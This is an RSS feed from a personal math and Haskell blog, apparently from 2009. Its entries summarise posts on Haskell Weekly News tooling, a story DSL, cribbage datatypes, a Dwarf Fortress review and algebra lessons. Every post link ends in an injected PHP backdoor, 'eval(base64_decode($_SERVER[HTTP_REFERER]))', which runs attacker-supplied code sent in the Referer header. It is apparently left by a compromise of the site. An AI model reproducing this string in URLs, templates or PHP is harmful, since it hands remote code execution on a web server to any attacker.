http://lowlymath.net The Disparate Notions of the Lowly Mathematician Tue, 22 Sep 2009 05:26:35 +0000 http://backend.userland.com/rss092 en So, last time we talked about the parser, and that last paragraph noted that the parser was actually done. I've since cleaned it up, rewrote it in applicative style, (though it still has the two caveats I mentioned), and clocks in at around 40-50 LOC. Not bad for a semi-not-so-simple ... http://lowlymath.net/2009/09/22/hwn-tagsoup-hackmail-and-my-now-persistant-headache/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ When I start to design a DSL for storing data, like most people, I look for the least unit of information that "means" something. In the case of HWN, that means a "Story". In this post, I will share my notes on the DSL that will be used to store ... http://lowlymath.net/2009/09/16/hwn-a-simple-extensible-format-for-stories/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ So, as many of you may know, I recently took over as the editor of the Haskell Weekly News. The HWN is a pretty popular newsletter in the Haskell community, it aggregates posts from Planet Haskell and the myriad mailing lists associated with mainstream Haskell stuff. One of the benefits ... http://lowlymath.net/2009/09/15/hwn-we-can-rebuild-it-we-have-the-technology/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I've been playing Dwarf Fortress, lately, it's a very odd game. You can find it here. Or, if you prefer (as I do), the wiki. It's a bit roguelike, a bit dungeonkeepery, a bit of everything -- and quite immersive. Read on for my review and critique.Dwarf Fort (DF) is, ... http://lowlymath.net/2009/08/11/dwarf-fortress-a-review/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ > {-# LANGUAGE TypeFamilies, MultiParamTypeClasses #-} > module Blog where > import Data.HCard > import Data.HCard.Instances > import Data.HCard.Examples Backstory Today, I want to talk about card games... On a recent trip home, I had an opportunity to teach my fiance how to play one of my favorite card games. Cribbage. If you are unaware, cribbage ... http://lowlymath.net/2009/04/07/card-games-scorekeeping-and-associated-datatypes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Last time we got all the way to very basic quadratic equations. I didn't tell you they were quadratics, we just did them. This week, we'll take about quadratics in much more detail, describing three different methods to solve them, and why you might want to use any given method ... http://lowlymath.net/2009/03/28/basic-math-algebra-102/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ You can see all the various sites I've bookmarked about Gradschool @: http://feeds.delicious.com/v2/rss/jfredett/gradschool   It's an RSS feed, but also the only sane url-link to the specific tag. It's just my del.icio.us space under the tag "gradschool" http://lowlymath.net/2008/09/08/grad-school-tags/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ So, I know my posts are quite sparse to begin with, and sporadic at that. But, sadly, I'm here to tell you, my faithful and equally sporadic readers, that problem will be getting worse. Heres my situation, I transferred last year from one school (WPI) to another, cheaper school (WSC)[1]. In ... http://lowlymath.net/2008/09/08/down-the-graduate-school-rabbit-hole/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I just watched this show, on THC. I actually liked it, the title of the show was "Evolve" and it has to be the first show I've seen on THC that didn't bugger up the science much at all. It was unabashedly pro-evolution, one of the biologists on the show ... http://lowlymath.net/2008/07/30/evolve-the-history-channel-may-have-finally-done-something-right/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ In High schools across the country, kids learn algebra. I know quite a few parents who have some big problems with algebra. For some, it's just because it's been a while since they've needed to use it, for others, it's always been a hard thing, but it doesn't have to ... http://lowlymath.net/2008/06/02/basic-math-algebra-101/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/